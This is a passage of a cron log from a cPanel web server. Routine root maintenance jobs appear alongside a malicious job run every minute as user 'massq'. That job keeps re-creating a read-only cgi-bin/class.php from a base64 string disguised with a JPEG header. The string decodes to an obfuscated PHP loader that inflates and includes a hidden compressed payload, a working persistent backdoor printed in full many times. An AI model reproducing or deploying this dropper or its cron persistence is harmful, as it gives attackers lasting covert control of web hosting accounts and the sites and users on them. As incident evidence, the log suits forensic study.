VGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:16:01 server CROND[2412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:17:01 server CROND[2821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:17:01 server CROND[2822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:17:01 server CROND[2823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:18:01 server CROND[3205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:18:01 server CROND[3207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:18:01 server CROND[3206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:19:01 server CROND[3607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:19:01 server CROND[3608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:19:01 server CROND[3609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:20:01 server CROND[4007]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:20:01 server CROND[4009]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 06:20:01 server CROND[4013]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:20:01 server CROND[4011]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 06:20:01 server CROND[4016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:20:01 server CROND[4015]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 06:20:01 server CROND[4014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:20:01 server CROND[4010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:20:01 server CROND[4012]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 06:21:01 server CROND[4948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:21:01 server CROND[4949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:21:01 server CROND[4950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:22:01 server CROND[5325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:22:01 server CROND[5327]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:22:01 server CROND[5328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:23:01 server CROND[5716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:23:01 server CROND[5717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:23:01 server CROND[5718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:24:01 server CROND[6095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:24:01 server CROND[6096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:24:01 server CROND[6097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:25:01 server CROND[6486]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 06:25:01 server CROND[6487]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:25:01 server CROND[6494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:25:01 server CROND[6498]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:25:01 server CROND[6499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:25:01 server CROND[6497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:25:01 server CROND[6502]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 06:25:01 server CROND[6500]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 06:26:01 server CROND[7426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:26:01 server CROND[7427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:26:01 server CROND[7428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:27:01 server CROND[7813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:27:01 server CROND[7815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:27:01 server CROND[7814]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 06:27:01 server CROND[7816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:28:01 server CROND[8207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:28:01 server CROND[8209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
